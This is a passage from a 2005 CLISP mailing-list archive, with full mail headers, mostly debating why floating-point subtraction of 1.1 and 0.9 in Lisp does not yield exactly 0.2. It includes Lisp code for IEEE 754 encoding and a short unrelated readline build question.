SuSE Linux 7.3 (i386), from userid 501) id 858355833D; Sun, 24 Jul 2005 11:13:16 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5D26E582FA; Sun, 24 Jul 2005 11:13:05 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0F59510FBF3; Sun, 24 Jul 2005 11:13:05 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17123.23456.942071.829935@thalassa.informatimago.com> To: michal kabata Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - ending In-Reply-To: <42E34AF8.9040408@sfires.net> References: <42E18A0B.60800@sfires.net> <17122.52555.584951.551035@thalassa.informatimago.com> <42E34AF8.9040408@sfires.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 02:16:10 2005 X-Original-Date: Sun, 24 Jul 2005 11:13:04 +0200 michal kabata writes: > Pascal Bourguignon wrote: > > michal kabata writes: > > > >>I keep wondering why I never saw it before... > > > > > > Perhaps because you're not a "Computer Scientist"? ;-) This is a smiley-------------------------------------->^^^ > Guess again. Anyway, I ment lisp, and possibly correct guess should be > that I have too little experience with lisp and too high opinion about > those who write it. > > > I should have mentionned: > > "What Every Computer Scientist Should Know About Floating-Point Arithmetic" > > http://docs.sun.com/source/806-3568/ncg_goldberg.html > > too. > > > Oh please... > > Anyway, I ment to end this discussion and I hope this is the last try. > Thanks for all work-around ideas. I wrote the first email with silly > hope that you just might be interested in a fact that clisp is _making > an error_ (like most other langs, ok - but is that excause?). I guess > OpenSource on one side and pride on the other. I can understand your way > of thinking, someone who reports such trivial bug must be an idiot who > you can insult all the way. I would be very happy to report any more > serious bugs inf future, but so happened that I encounter this one, and > in my opinion _in lisp_ this is a bug. Remember all those fantastic > words in most books about lisp that "lisp is always doing the right > thing with numbers"? Well it does not in this case. > > BTW: > - mathematically 1.1-0.9 is not greater or less then 0.2, just equal, so > don't say that such computation is correct mathematically. And if > something is behaving not like mathematical number then how could it be > mathematically correct? You don't understand what I mean because you don't take into account the notation. In maths, when you write 1.1 you may mean one of two things. Either the element of Q=Z/Z*, or the element of R. Happily, there are isomorphisms betweeb Z/Z* and a subset of R, in which happily 1.1 belong, and therefore people often forget which one they refer to when they write 1.1. Now, in IEEE754 arithmetic, there is no 1.1 number. This is the reason why (- 1.1 0.9) doesn't give the result you want. This is due to the fact that the set of numbers in floating points data types are generated from base two, and you've noted a number in base ten. (Keep in mind when reading the following sums that only the left hand side of ~= is exact mathematics. What's on the right hand side is an aproximation in base ten. The last value of the right hand side is computed from the rational on the left hand side, not as the sum of the above numbers for these above numbers are truncated by the lack of precision of double-float!) [48]> (compute-bin-float "1.00011001100110011001101") 1.00011001100110011001101 = 1 + 0 * 2^ -1 = 0 ~= 0.00000000000000000 + 0 * 2^ -2 = 0 ~= 0.00000000000000000 + 0 * 2^ -3 = 0 ~= 0.00000000000000000 + 1 * 2^ -4 = 1/16 ~= 0.06250000000000000 + 1 * 2^ -5 = 1/32 ~= 0.03125000000000000 + 0 * 2^ -6 = 0 ~= 0.00000000000000000 + 0 * 2^ -7 = 0 ~= 0.00000000000000000 + 1 * 2^ -8 = 1/256 ~= 0.00390625000000000 + 1 * 2^ -9 = 1/512 ~= 0.00195312500000000 + 0 * 2^-10 = 0 ~= 0.00000000000000000 + 0 * 2^-11 = 0 ~= 0.00000000000000000 + 1 * 2^-12 = 1/4096 ~= 0.00024414062500000 + 1 * 2^-13 = 1/8192 ~= 0.00012207031250000 + 0 * 2^-14 = 0 ~= 0.00000000000000000 + 0 * 2^-15 = 0 ~= 0.00000000000000000 + 1 * 2^-16 = 1/65536 ~= 0.00001525878906250 + 1 * 2^-17 = 1/131072 ~= 0.00000762939453125 + 0 * 2^-18 = 0 ~= 0.00000000000000000 + 0 * 2^-19 = 0 ~= 0.00000000000000000 + 1 * 2^-20 = 1/1048576 ~= 0.00000095367431641 + 1 * 2^-21 = 1/2097152 ~= 0.00000047683715820 + 0 * 2^-22 = 0 ~= 0.00000000000000000 + 1 * 2^-23 = 1/8388608 ~= 0.00000011920928955 = 9227469/8388608 ~= 1.10000002384185800 9227469/8388608 [49]> (compute-bin-float "1.00011001100110011001100") 1.00011001100110011001100 = 1 + 0 * 2^ -1 = 0 ~= 0.00000000000000000 + 0 * 2^ -2 = 0 ~= 0.00000000000000000 + 0 * 2^ -3 = 0 ~= 0.00000000000000000 + 1 * 2^ -4 = 1/16 ~= 0.06250000000000000 + 1 * 2^ -5 = 1/32 ~= 0.03125000000000000 + 0 * 2^ -6 = 0 ~= 0.00000000000000000 + 0 * 2^ -7 = 0 ~= 0.00000000000000000 + 1 * 2^ -8 = 1/256 ~= 0.00390625000000000 + 1 * 2^ -9 = 1/512 ~= 0.00195312500000000 + 0 * 2^-10 = 0 ~= 0.00000000000000000 + 0 * 2^-11 = 0 ~= 0.00000000000000000 + 1 * 2^-12 = 1/4096 ~= 0.00024414062500000 + 1 * 2^-13 = 1/8192 ~= 0.00012207031250000 + 0 * 2^-14 = 0 ~= 0.00000000000000000 + 0 * 2^-15 = 0 ~= 0.00000000000000000 + 1 * 2^-16 = 1/65536 ~= 0.00001525878906250 + 1 * 2^-17 = 1/131072 ~= 0.00000762939453125 + 0 * 2^-18 = 0 ~= 0.00000000000000000 + 0 * 2^-19 = 0 ~= 0.00000000000000000 + 1 * 2^-20 = 1/1048576 ~= 0.00000095367431641 + 1 * 2^-21 = 1/2097152 ~= 0.00000047683715820 + 0 * 2^-22 = 0 ~= 0.00000000000000000 + 0 * 2^-23 = 0 ~= 0.00000000000000000 = 2306867/2097152 ~= 1.09999990463256840 2306867/2097152 [50]> (compute-bin-float "0.11100110011001100110011") 0.11100110011001100110011 = 0 + 1 * 2^ -1 = 1/2 ~= 0.50000000000000000 + 1 * 2^ -2 = 1/4 ~= 0.25000000000000000 + 1 * 2^ -3 = 1/8 ~= 0.12500000000000000 + 0 * 2^ -4 = 0 ~= 0.00000000000000000 + 0 * 2^ -5 = 0 ~= 0.00000000000000000 + 1 * 2^ -6 = 1/64 ~= 0.01562500000000000 + 1 * 2^ -7 = 1/128 ~= 0.00781250000000000 + 0 * 2^ -8 = 0 ~= 0.00000000000000000 + 0 * 2^ -9 = 0 ~= 0.00000000000000000 + 1 * 2^-10 = 1/1024 ~= 0.00097656250000000 + 1 * 2^-11 = 1/2048 ~= 0.00048828125000000 + 0 * 2^-12 = 0 ~= 0.00000000000000000 + 0 * 2^-13 = 0 ~= 0.00000000000000000 + 1 * 2^-14 = 1/16384 ~= 0.00006103515625000 + 1 * 2^-15 = 1/32768 ~= 0.00003051757812500 + 0 * 2^-16 = 0 ~= 0.00000000000000000 + 0 * 2^-17 = 0 ~= 0.00000000000000000 + 1 * 2^-18 = 1/262144 ~= 0.00000381469726562 + 1 * 2^-19 = 1/524288 ~= 0.00000190734863281 + 0 * 2^-20 = 0 ~= 0.00000000000000000 + 0 * 2^-21 = 0 ~= 0.00000000000000000 + 1 * 2^-22 = 1/4194304 ~= 0.00000023841857910 + 1 * 2^-23 = 1/8388608 ~= 0.00000011920928955 = 7549747/8388608 ~= 0.89999997615814210 7549747/8388608 [51]> (compute-bin-float "0.11100110011001100110100") 0.11100110011001100110100 = 0 + 1 * 2^ -1 = 1/2 ~= 0.50000000000000000 + 1 * 2^ -2 = 1/4 ~= 0.25000000000000000 + 1 * 2^ -3 = 1/8 ~= 0.12500000000000000 + 0 * 2^ -4 = 0 ~= 0.00000000000000000 + 0 * 2^ -5 = 0 ~= 0.00000000000000000 + 1 * 2^ -6 = 1/64 ~= 0.01562500000000000 + 1 * 2^ -7 = 1/128 ~= 0.00781250000000000 + 0 * 2^ -8 = 0 ~= 0.00000000000000000 + 0 * 2^ -9 = 0 ~= 0.00000000000000000 + 1 * 2^-10 = 1/1024 ~= 0.00097656250000000 + 1 * 2^-11 = 1/2048 ~= 0.00048828125000000 + 0 * 2^-12 = 0 ~= 0.00000000000000000 + 0 * 2^-13 = 0 ~= 0.00000000000000000 + 1 * 2^-14 = 1/16384 ~= 0.00006103515625000 + 1 * 2^-15 = 1/32768 ~= 0.00003051757812500 + 0 * 2^-16 = 0 ~= 0.00000000000000000 + 0 * 2^-17 = 0 ~= 0.00000000000000000 + 1 * 2^-18 = 1/262144 ~= 0.00000381469726562 + 1 * 2^-19 = 1/524288 ~= 0.00000190734863281 + 0 * 2^-20 = 0 ~= 0.00000000000000000 + 1 * 2^-21 = 1/2097152 ~= 0.00000047683715820 + 0 * 2^-22 = 0 ~= 0.00000000000000000 + 0 * 2^-23 = 0 ~= 0.00000000000000000 = 1887437/2097152 ~= 0.90000009536743160 1887437/2097152 0.89999997615814210 So why don't you ask: [52]> (- 1.10000002384185800L0 0.89999997615814210L0) 0.20000004768371590006L0 [53]> (- 1.09999990463256840L0 0.90000009536743160L0) 0.19999980926513680001L0 instead of (- 1.1 0.9) ? I hear you say that what you want is 1.1, but the problem is that there's no way of representing 1.1 with IEEE754 floating point numbers! The closer you can come are one of these two numbers I represent in base ten: 1.10000002384185800L0 or 1.09999990463256840L0. Since 1.10000002384185800L0 is closer, you should not be surprized that the convertion routine choose this number to represent 1.1L0. And since 0.89999997615814210 is closer to 0.9L0, it's the one choosen. Therefore you get the exact result 0.20000004768371590006L0 (or 0.20000005 when working with signle floats). > - base is very very related to "calculation of the exponent", thats why > I wrote about calculation, not the exponent > - if you are teached in physics not to do it, then why clisp does it? clisp does it because it's what is specified by Common Lisp. Common Lisp does it because the people who designed it constated that implementors did all implement the notation 1.1 to mean the floating point number whose value is closest to the mathematical real 1.1. Implementors all did this because their customers all asked for it. People with serrious budget to do serrious work with computer workstations that costed at the time around $200,000.00 or more. And the reason why computers don't compute as we do, is that it's not efficient to do it as we do. If you need it, you can implement the arithmetic algorithms we use in a computer. But you'll run thousands or millions times slower than a IEEE floating point unit. It may not matter for you, but for these serrious people who did nuclear explosion simulations or who programmed misile autopilot CPU, it was important to get the results fast. > for basics operations (-,+,*) I can't see the need to keep garbage after > the digits you expect in result > > So again, for me this is EOT. Since I'm begining to get more insults > that meritoric answers and I don't see anyone interested in fixing this. Feel less insulted and try to learn more. (defmacro wsiosbp (&body body) (let ((vpack (gensym))) `(let ((,vpack *package*)) (with-standard-io-syntax (let ((*package* ,vpack)) ,@body))))) (defmacro gen-ieee-encoding (name type exponent-bits mantissa-bits) ;; Thanks to ivan4th (~ivan_iv@nat-msk-01.ti.ru) for correcting an off-by-1 (wsiosbp `(progn (defun ,(intern (format nil "~A-TO-IEEE-754" name)) (float) (multiple-value-bind (mantissa exponent sign) (integer-decode-float float) (dpb (if (minusp sign) 1 0) (byte 1 ,(1- (+ exponent-bits mantissa-bits))) (dpb (+ ,(+ (- (expt 2 (1- exponent-bits)) 2) mantissa-bits) exponent) (byte ,exponent-bits ,(1- mantissa-bits)) (ldb (byte ,(1- mantissa-bits) 0) mantissa))))) (defun ,(intern (format nil "IEEE-754-TO-~A" name)) (ieee) (let ((aval (scale-float (coerce (dpb 1 (byte 1 ,(1- mantissa-bits)) (ldb (byte ,(1- mantissa-bits) 0) ieee)) ,type) (- (ldb (byte ,exponent-bits ,(1- mantissa-bits)) ieee) ,(1- (expt 2 (1- exponent-bits))) ,(1- mantissa-bits))))) (if (zerop (ldb (byte 1 ,(1- (+ exponent-bits mantissa-bits))) ieee)) aval (- aval))))))) (gen-ieee-encoding float-32 'single-float 8 24) (gen-ieee-encoding float-64 'double-float 11 53) (defun test-ieee-read-double () (with-open-file (in "value.ieee-754-double" :direction :input :element-type '(unsigned-byte 8)) (loop while (< (file-position in) (file-length in)) do (loop repeat 8 for i = 1 then (* i 256) for v = (read-byte in) then (+ v (* i (read-byte in))) finally (progn (let ((*print-base* 16)) (princ v)) (princ " ") (princ (IEEE-754-TO-FLOAT-64 v)) (terpri)))))) (defun test-ieee-read-single () (with-open-file (in "value.ieee-754-single" :direction :input :element-type '(unsigned-byte 8)) (loop while (< (file-position in) (file-length in)) do (loop repeat 4 for i = 1 then (* i 256) for v = (read-byte in) then (+ v (* i (read-byte in))) finally (progn (let ((*print-base* 16)) (princ v)) (princ " ") (princ (IEEE-754-TO-FLOAT-32 v)) (terpri)))))) (defun test-single-to-ieee (&rest args) (dolist (arg args) (format t "~16,8R ~A~%" (float-32-to-ieee-754 (coerce arg 'single-float)) arg))) (defun test-double-to-ieee (&rest args) (dolist (arg args) (format t "~16,16R ~A~%" (float-64-to-ieee-754 (coerce arg 'double-float)) arg))) (defun convert-to-binary (number significant-digits) (multiple-value-bind (int dec) (truncate number) (format nil "~2R.~{~:[0~;1~]~}" int (loop with digits = '() repeat significant-digits do (multiple-value-bind (digit rest) (truncate (* 2 dec)) (push (oddp digit) digits) (setf dec rest)) finally (return (nreverse digits)))))) (defun compute-bin-float (value) "1.00011001100110011001101" (flet ((rat-to-bin (n) (/ (coerce (NUMERATOR n) 'DOUBLE-float) (coerce (DENOMINATOR n) 'DOUBLE-float)))) (let ((dot (position (character ".") value))) (if dot (loop with integer-part = (parse-integer value :radix 2 :end dot :junk-allowed nil) with decimal-part = 0 initially (format t "~A ~%= ~A~%" value integer-part) for exponent from -1 by -1 for digit across (subseq value (1+ dot)) for weight = (/ (digit-char-p digit) (expt 2 (- exponent))) do (format t "+ ~1A * 2^~3D = ~30A ~~= ~24,17F~%" digit exponent weight (rat-to-bin weight)) (incf decimal-part weight) finally (format t "= ~42A ~~= ~24,17F" (+ integer-part decimal-part) (rat-to-bin (+ integer-part decimal-part))) (return (+ integer-part decimal-part))) (let ((integer-part (parse-integer value :radix 2 :junk-allowed nil))) (format t "~A is a binary integer worth ~A" value integer-part) integer-part))))) (convert-to-binary 9/10) (compute-bin-float "1.00011001100110011001101") -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From Devon@Jovi.Net Sun Jul 24 09:53:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwjjQ-0007bn-Rk for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 09:53:40 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DwjjO-0005z3-FG for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 09:53:41 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6OGqncA032631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 24 Jul 2005 12:52:56 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6OGqXCe032039; Sun, 24 Jul 2005 12:52:33 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507241652.j6OGqXCe032039@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: michal kabata CC: pjb@informatimago.com, clisp-list@lists.sourceforge.net In-reply-to: <42E34AF8.9040408@sfires.net> (message from michal kabata on Sun, 24 Jul 2005 10:02:00 +0200) Subject: Re: [clisp-list] numbers - ending References: <42E18A0B.60800@sfires.net> <17122.52555.584951.551035@thalassa.informatimago.com> <42E34AF8.9040408@sfires.net> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Sun, 24 Jul 2005 12:53:02 -0400 (EDT) X-Spam-Score: -0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.8 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 09:55:36 2005 X-Original-Date: Sun, 24 Jul 2005 12:52:33 -0400 (EDT) From: michal kabata Date: Sun, 24 Jul 2005 10:02:00 +0200 ... clisp is _making an error_ ... For the record, it is no error. Lisp offers access to the bare floating point hardware and CLISP keeps that promise. Peace --Devon PS: Rationals are there, the choice is yours. PPS: Yes, I repeat up front what PJB said in the middle of a long message. PPPS: I am curious, does anyone have a numeric "measurement" datatype which preserves error information, e.g., value with accuracy, increasing and decreasing precision as needed? I've been expecting it in calculators since the HP-35 but these days I calculate rarely. PPPPS: More elaborately, one might represent a measurement as a Gaussian whose shape would likely become quite nightmarish after only a few computations but we have the cycles! Perhaps such a proposal is best documented on the first of April? From nagelbh@sdf.lonestar.org Sun Jul 24 13:40:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwnH4-00071E-1o for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 13:40:38 -0700 Received: from mx.freeshell.org ([192.94.73.21] helo=sdf.lonestar.org ident=root) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwnH2-0003rD-Q0 for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 13:40:38 -0700 Received: from sdf.lonestar.org (IDENT:nagelbh@otaku.freeshell.org [192.94.73.2]) by sdf.lonestar.org (8.13.1/8.12.10) with ESMTP id j6OKdtnj012306 for ; Sun, 24 Jul 2005 20:39:55 GMT Received: (from nagelbh@localhost) by sdf.lonestar.org (8.13.1/8.12.8/Submit) id j6OKdtFg016335 for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 20:39:55 GMT From: Bruce Nagel To: clisp-list@lists.sourceforge.net Message-ID: <20050724203955.GA8425@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] readline problem? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 13:42:00 2005 X-Original-Date: Sun, 24 Jul 2005 20:39:55 +0000 I seem to be having problems with readline (no command history or completion) after compiling 2.34 from source. The Clisp Debian package however still works fine. Running Debian Testing: Linux Bast 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux Any ideas? Bruce -- nagelbh@sdf.lonestar.org www.not-art.org SDF Public Access UNIX System - http://sdf.lonestar.org The Mouser felt a compulsive urge to take out his dagger and stab himself in the heart. A man had to die when he saw something like that. (Fritz Leiber) From sds@gnu.org Sun Jul 24 17:58:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwrIX-00021v-Em for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 17:58:25 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwrIV-0000iY-6S for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 17:58:25 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 24 Jul 2005 20:58:16 -0400 X-IronPort-AV: i="3.95,138,1120449600"; d="scan'208"; a="62327170:sNHT20326252" To: clisp-list@lists.sourceforge.net, Bruce Nagel Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050724203955.GA8425@SDF.LONESTAR.ORG> (Bruce Nagel's message of "Sun, 24 Jul 2005 20:39:55 +0000") References: <20050724203955.GA8425@SDF.LONESTAR.ORG> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruce Nagel Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline problem? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 17:59:58 2005 X-Original-Date: Sun, 24 Jul 2005 20:57:35 -0400 > * Bruce Nagel [2005-07-24 20:39:55 +0000]: > > I seem to be having problems with readline (no command history or > completion) after compiling 2.34 from source. The Clisp Debian > package however still works fine. is readline used by CLISP at all? (see unixconf.h) -- Sam Steingold (http://www.podval.org/~sds) running w2k Illiterate? Write today, for free help! From pjb@informatimago.com Sun Jul 24 18:18:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dwrbg-0002eC-W8 for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 18:18:12 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dwrbe-0005JO-1O for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 18:18:12 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 50BC85833D; Mon, 25 Jul 2005 03:17:57 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E8130582FA; Mon, 25 Jul 2005 03:17:49 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C46D810FBF3; Mon, 25 Jul 2005 03:17:47 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17124.15803.625735.816725@thalassa.informatimago.com> To: michal kabata Cc: Subject: Re: [clisp-list] numbers - ending In-Reply-To: <17124.14206.490081.252439@thalassa.informatimago.com> References: <42E18A0B.60800@sfires.net> <17122.52555.584951.551035@thalassa.informatimago.com> <42E34AF8.9040408@sfires.net> <17123.23456.942071.829935@thalassa.informatimago.com> <42E3878B.9030203@sfires.net> <17124.14206.490081.252439@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 18:20:57 2005 X-Original-Date: Mon, 25 Jul 2005 03:17:47 +0200 Sorry, these examples are wrong. Pascal Bourguignon writes: > 1.1 --> (11,1) > 123.456 --> (123456,3) > > (+ 123.456 1.1) --> (124556,3) = 124.556 > (* 123.456 1.1) --> (13580160,5) = 135.80160 > (/ 10.0 0.3) --> (333,1) = 33.3 > > (/ 1 3) --> 1/3 ; rational > (/ 1. 3.) --> (33,2) = 0.33 ; decimal+precision > (/ 1.0 3.00) --> (33333,5) = 0.33333 ; decimal+precision What would you expect for: (+ 123.456 1.1) ? 6 significant digits + 2 significant digits --> 2 significant digits, no? (+ 123.456 1.1) --> 12. * 10^1 ? If 1.1 means that we don't know what is the value within 1.05 and 1.15 (+ 123.456 1.1) --> anything between 124.5055 and 124.6065 --> 124.55 ? Well not exactly 124.55 would denode anything between 124.545 and 124.555 but the real result is anything between 124.5055 and 124.6065 Therefore you'll need to give the error interval too so you cannot just read 1.1. #0.05d1.1 == [1.1-0.05,1.1+0.05] (- #0.05d1.1 #0.05d0.9) --> #0.1d0.2 (anything between 0.1 and 0.3) (Note that 0.200005 is well withing [0.1,0.3].) The whole point is that it really depends on your application needs and you must decide what rules you need to implement. -- A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. Q: What is the most annoying thing on usenet and in e-mail? __Pascal Bourguignon__ http://www.informatimago.com/ From nagelbh@sdf.lonestar.org Sun Jul 24 20:14:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwtQ9-0006Ss-0N for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 20:14:25 -0700 Received: from mx.freeshell.org ([192.94.73.21] helo=sdf.lonestar.org ident=root) by 